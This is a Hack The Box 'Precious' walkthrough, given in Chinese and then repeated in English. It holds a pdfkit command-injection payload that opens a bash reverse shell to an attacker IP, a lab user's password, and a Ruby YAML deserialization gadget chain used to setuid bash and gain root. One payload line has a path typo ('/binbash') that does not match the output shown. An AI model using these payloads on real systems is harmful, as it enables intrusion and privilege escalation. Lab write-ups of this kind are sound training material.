本文详细介绍了一个名为“Precious”的HTB(Hack The Box)挑战。在信息收集阶段,通过Nmap扫描发现了开放的SSH和HTTP端口。Vulnerability分析中,利用Burp Suite确认了Web服务器和Ruby环境。通过构造特定的Payload利用了Ruby中的不安全反序列化漏洞,从而获取了用户权限的Shell。接着,通过分析Ruby脚本,发现了另一个可利用的漏洞,最终实现了特权升级,获得了Root权限并成功读取了Root标志。文章总结了整个过程中的学习经验。 This article provides a detailed walkthrough of an HTB (Hack The Box) challenge named "Precious". During the information gathering phase, open SSH and HTTP ports were discovered via Nmap scanning. In the vulnerability analysis, Burp Suite was used to confirm the web server and Ruby environment. By crafting a specific payload, an insecure deserialization vulnerability in Ruby was exploited to obtain a user-privilege shell. Subsequently, by analyzing a Ruby script, another exploitable vulnerability was found, ultimately leading to privilege escalation, achieving root access, and successfully reading the root flag. The article summarizes the lessons learned throughout the entire process.
Information Gathering
# Nmap 7.98 scan initiated Wed Dec 31 07:15:30 2025 as: /usr/lib/nmap/nmap -sC -sV -v -O -oN nmap_result.txt 10.10.11.189
Nmap scan report for 10.10.11.189
Host is up (0.12s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA)
| 256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)
|_ 256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)
80/tcp open http nginx 1.18.0
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://precious.htb/
|_http-server-header: nginx/1.18.0
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Uptime guess: 31.799 days (since Sat Nov 29 12:04:56 2025)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Dec 31 07:15:45 2025 -- 1 IP address (1 host up) scanned in 14.69 seconds
Vulnerability Analysis
通过burpsuite我们得知web的Server: nginx/1.18.0 + Phusion Passenger(R) 6.0.15,X-Runtime: Ruby
在本地搭建网址环境
➜ Precious www
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.189 - - [31/Dec/2025 07:31:32] "GET / HTTP/1.1" 200 -
^C
Keyboard interrupt received, exiting.
就可以得到一个文件
➜ Precious exiftool 2a4j9rpsza3l5v889p6wadg649q4qdzk.pdf
ExifTool Version Number : 13.36
File Name : 2a4j9rpsza3l5v889p6wadg649q4qdzk.pdf
Directory : .
File Size : 18 kB
File Modification Date/Time : 2025:12:31 07:31:33+00:00
File Access Date/Time : 2025:12:31 07:31:34+00:00
File Inode Change Date/Time : 2025:12:31 07:31:59+00:00
File Permissions : -rw-rw-r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Page Count : 1
Creator : Generated by pdfkit v0.8.6
发现ruby库使用的是pdfkit v0.8.6
Exploitation (User Flag)
根据搜索可知CVE-2022-25765
假设后端是
kit = PDFKit.new(url)
kit.to_file("output.pdf")
当使用PDFKit它实际上是在后台拼接了一串 Shell 命令,然后调用系统的 wkhtmltopdf 去执行任务。
wkhtmltopdf http://10.10.14.5/?name= `sleep 5` output.pdf
所以构造payload
http://10.10.16.3/?name= `bash -c 'bash -i >& /dev/tcp/10.10.16.3/4444 0>&1'`
输入到网站即可获取shell
在主目录/home/ruby/.bundle/config中寻找到henry:Q3c1AqGHtoI0aXAYFH
Privilege Escalation (Root Flag)
henry@precious:/tmp$ sudo -l
Matching Defaults entries for henry on precious:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
henry@precious:/tmp$ /usr/bin/ruby /opt/update_dependencies.rb
Traceback (most recent call last):
2: from /opt/update_dependencies.rb:17:in `<main>'
1: from /opt/update_dependencies.rb:10:in `list_from_file'
/opt/update_dependencies.rb:10:in `read': No such file or directory @ rb_sysopen - dependencies.yml (Errno::ENOENT)
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
gems_file = list_from_file
gems_local = list_local_gems
gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end
可以看到运行此程序会在当前目录下检查是否含有dependencies.yml文件
致命漏洞:YAML.load,在 Ruby 中,YAML.load 是不安全的。它不仅仅是“读取文本数据”,它会实例化 YAML 数据中描述的任何 Ruby 类/对象。
攻击原理:
- 如果你在
dependencies.yml中构造了一个特殊的 Ruby 对象结构(这就叫“序列化数据”)。 - 当脚本运行到
YAML.load时,它会尝试在内存中把这个对象“复活”(反序列化)。 - 在这个“复活”的过程中,如果对象里包含某些特定的链式调用(Gadget Chain),Ruby 就会被迫执行系统命令。
通过此文章得到如何构造这个yaml
henry@precious:/tmp$ ruby -v
ruby 2.7.4p191 (2021-07-07 revision a21a3b7d23) [x86_64-linux-gnu]
所以使用
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements: # 伪装成Gem依赖需求
!ruby/object:Gem::Package::TarReader # 让TarReader 以为自己在读一个压缩包
io: &1 !ruby/object:Net::BufferedIO # 核心触发器
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter # BufferedIO的特性debug_output,调试信息打印出来
socket: &1 !ruby/object:Gem::RequestSet # 告诉ruby,要打印调试信息,就调用socket
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel' # 告诉ruby,socket对象其实是Kernel
method_id: :system # 告诉ruby,调用的方法名:system
git_set: id # 执行的命令
method_id: :resolve
payload
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: chmod u+s /binbash
method_id: :resolve
henry@precious:/tmp$ nano dependencies.yml
henry@precious:/tmp$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
Traceback (most recent call last):
33: from /opt/update_dependencies.rb:17:in `<main>'
32: from /opt/update_dependencies.rb:10:in `list_from_file'
....
.....
henry@precious:/tmp$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1234376 Mar 27 2022 /bin/bash
henry@precious:/tmp$ /bin/bash -p
bash-5.1# id
uid=1000(henry) gid=1000(henry) euid=0(root) groups=1000(henry)
bash-5.1# cat /root/root.txt
5554b7e3cfe48a17bd1410159017f801
Lessons Learned
Information Gathering
# Nmap 7.98 scan initiated Wed Dec 31 07:15:30 2025 as: /usr/lib/nmap/nmap -sC -sV -v -O -oN nmap_result.txt 10.10.11.189
Nmap scan report for 10.10.11.189
Host is up (0.12s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA)
| 256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)
|_ 256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)
80/tcp open http nginx 1.18.0
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://precious.htb/
|_http-server-header: nginx/1.18.0
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Uptime guess: 31.799 days (since Sat Nov 29 12:04:56 2025)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Dec 31 07:15:45 2025 -- 1 IP address (1 host up) scanned in 14.69 seconds
Vulnerability Analysis
Through burpsuite, we learned that the web server is: nginx/1.18.0 + Phusion Passenger(R) 6.0.15, X-Runtime: Ruby
Set up the local website environment
➜ Precious www
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.189 - - [31/Dec/2025 07:31:32] "GET / HTTP/1.1" 200 -
^C
Keyboard interrupt received, exiting.
Then we can get a file
➜ Precious exiftool 2a4j9rpsza3l5v889p6wadg649q4qdzk.pdf
ExifTool Version Number : 13.36
File Name : 2a4j9rpsza3l5v889p6wadg649q4qdzk.pdf
Directory : .
File Size : 18 kB
File Modification Date/Time : 2025:12:31 07:31:33+00:00
File Access Date/Time : 2025:12:31 07:31:34+00:00
File Inode Change Date/Time : 2025:12:31 07:31:59+00:00
File Permissions : -rw-rw-r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Page Count : 1
Creator : Generated by pdfkit v0.8.6
Discovered that the Ruby library used is pdfkit v0.8.6
Exploitation (User Flag)
According to searches, we know CVE-2022-25765
Assuming the backend is
kit = PDFKit.new(url)
kit.to_file("output.pdf")
When using PDFKit, it actually concatenates a series of shell commands in the background and then calls the system's wkhtmltopdf to execute the task.
wkhtmltopdf http://10.10.16.3/?name= `sleep 5` output.pdf
So construct the payload
http://10.10.16.3/?name= `bash -c 'bash -i >& /dev/tcp/10.10.16.3/4444 0>&1'`
Input it into the website to get a shell
In the home directory /home/ruby/.bundle/config, we found henry:Q3c1AqGHtoI0aXAYFH
Privilege Escalation (Root Flag)
henry@precious:/tmp$ sudo -l
Matching Defaults entries for henry on precious:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
henry@precious:/tmp$ /usr/bin/ruby /opt/update_dependencies.rb
Traceback (most recent call last):
2: from /opt/update_dependencies.rb:17:in `<main>'
1: from /opt/update_dependencies.rb:10:in `list_from_file'
/opt/update_dependencies.rb:10:in `read': No such file or directory @ rb_sysopen - dependencies.yml (Errno::ENOENT)
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
gems_file = list_from_file
gems_local = list_local_gems
gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end
It can be seen that running this program checks if the current directory contains the dependencies.yml file
Critical vulnerability: YAML.load, in Ruby, YAML.load is insecure. It not only 'reads text data', but it also instantiates any Ruby class/object described in the YAML data.
Attack principle:
- If you construct a special Ruby object structure in
dependencies.yml(this is called 'serialized data'). - When the script runs to
YAML.load, it tries to 'resurrect' this object in memory (deserialization). - During this 'resurrection' process, if the object contains certain specific chained calls (Gadget Chain), Ruby will be forced to execute system commands.
Through this article, learn how to construct this yaml
henry@precious:/tmp$ ruby -v
ruby 2.7.4p191 (2021-07-07 revision a21a3b7d23) [x86_64-linux-gnu]
So use
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements: # Disguised as Gem dependency requirements
!ruby/object:Gem::Package::TarReader # Let TarReader think it is reading a compressed package
io: &1 !ruby/object:Net::BufferedIO # Core trigger
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter # BufferedIO's feature debug_output, debug information is printed out
socket: &1 !ruby/object:Gem::RequestSet # Tell Ruby, to print debug information, call socket
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel' # Tell Ruby, the socket object is actually Kernel
method_id: :system # Tell Ruby, the method name to call: system
git_set: id # Command to execute
method_id: :resolve
payload
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: chmod u+s /binbash
method_id: :resolve
henry@precious:/tmp$ nano dependencies.yml
henry@precious:/tmp$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
Traceback (most recent call last):
33: from /opt/update_dependencies.rb:17:in `<main>'
32: from /opt/update_dependencies.rb:10:in `list_from_file'
....
.....
henry@precious:/tmp$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1234376 Mar 27 2022 /bin/bash
henry@precious:/tmp$ /bin/bash -p
bash-5.1# id
uid=1000(henry) gid=1000(henry) euid=0(root) groups=1000(henry)
bash-5.1# cat /root/root.txt
5554b7e3cfe48a17bd1410159017f801